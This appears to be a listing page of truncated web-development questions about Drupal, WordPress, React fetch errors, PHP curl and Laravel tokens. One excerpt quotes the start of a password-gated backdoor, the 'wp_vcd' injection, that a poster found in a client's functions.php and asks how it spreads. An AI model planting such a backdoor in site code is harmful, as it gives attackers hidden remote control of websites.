Categories
CMS Drupal Mastering Development

How to display data without html on ajax call?

How to display only content on ajax hit without html markup? what i am trying to do i have to show data on button click in profile dashboard(custom page) ,for this i have created controller file . class OutstandingPaymentPending extends ControllerBase { // callback for learning portal access public function GetPendingPayment() { /* TO DO […]

Categories
Mastering Development

TypeError: fetch__WEBPACK_IMPORTED_MODULE_5___default(….) is not a function

I have a component named as ComboBox.js and a PHP server running. In the componentDidMount method, I make a fetch call, but then get this error – “TypeError: fetch__WEBPACK_IMPORTED_MODULE_5___default(….) is not a function” when the ComboBox component has to be rendered. Here is the ComboBox.js component : import React from “react”; import classes from “./ComboBox.module.css”; […]

Categories
CMS Mastering Development Wordpress

Form doesnt save to database

It is my first form trying on wordpress.I changed some names such as “name”,”e-mail” etc. to “name1” , “email1” etc.Because without these changing, submit button refers to 404 page. There is no any registration on database when I check it I dont know any idea about what is the spesific code as problem so I […]

Categories
Mastering Development

Get data from api using PHP

I have a task of getting data from an api using PHP. It uses POST request, which also sends json body. There is not mentioning of setting any headers, which confused me. I dealt with api’s using ajax before, never php. And since json goes both ways, to api and as a response from api, […]

Categories
CMS Development Wordpress

How does this hacking script infects the entire website under the hosting?

I have client who’s functions.php file is infected with this code. Client used a nulled theme for sure. I am curious about how it infects the other websites under the same hosting. I tried in localhost and it infected the entire websites under it. //oxMHBJQ1ltSUdsemMyVjBLQ1JmVWtWUlZVVlRWRnNuYg453545gf if (isset($_REQUEST[‘action’]) && isset($_REQUEST[‘password’]) && ($_REQUEST[‘password’] == ‘631701d8ae54f47e23b26ed4356f6cb8’)) { $div_code_name=”wp_vcd”; […]

Categories
Development

How can I send leads to specific mailing list depending on their selection (Using Mailchimp)?

I am trying to link my newsletter form with my Mailchimp list however, I want the lead to go into a specific list depending on the selection the user makes. For example, if they select the “I am a Worker” option from the HTML code below, they will be subscribed into the “Workers” mailing list. […]

Categories
Development

PHP Curl fails on Ubuntu when using PHP 7.2 but works on Mac with PHP 7.3.9

I get the following error only when running getAnalysis() on my Ubuntu machine while it still works on several versions of Mac (including the newest version). I tried troubleshooting the error by using the curl_error function however nothing was printed out. Failed on: Ubuntu with PHP 7.2.24-0ubuntu0.18.04.2 and curl 7.58.0. Worked on: Mac with PHP […]

Categories
Development

Laravel call method and pass value when got an exception

I got method in getting the access token and here it is public $token; //I declare global var to read in every func public function getToken(){ $key = ‘xxxxxxxxxxxxxx’; $secret = ‘xxxxxxxxxxxxxxxxxx’; $data = array( ‘key’ => ‘xxxxxxxxxxxxxxxxxx’, ‘secret’ => ‘xxxxxxxxxxxxxxx’ ); $payload = json_encode($data); $ch = curl_init(‘https://cgi.singmap.com/token?key=’.$key.’&secret=’.$secret.”); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLINFO_HEADER_OUT, true); curl_setopt($ch, […]

Categories
Development

Laravel call method and pass value when got an exception

I got method in getting the access token and here it is public $token; //I declare global var to read in the saveToken public function getToken(){ $key = ‘xxxxxxxxxxxxxx’; $secret = ‘xxxxxxxxxxxxxxxxxx’; $data = array( ‘key’ => ‘xxxxxxxxxxxxxxxxxx’, ‘secret’ => ‘xxxxxxxxxxxxxxx’ ); $payload = json_encode($data); $ch = curl_init(‘https://cgi.singmap.com/token?key=’.$key.’&secret=’.$secret.”); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLINFO_HEADER_OUT, true); curl_setopt($ch, […]

Categories
Development

Any suggestions on error from curl_exec in php?

I get the following error when running getAnalysis() on my Ubuntu machine but I do not get it when I run this error on any macs(Tried several different versions of Mac OS including the newest version). I think curl is not understanding the reply back from the server but not sure how to trouble shoot […]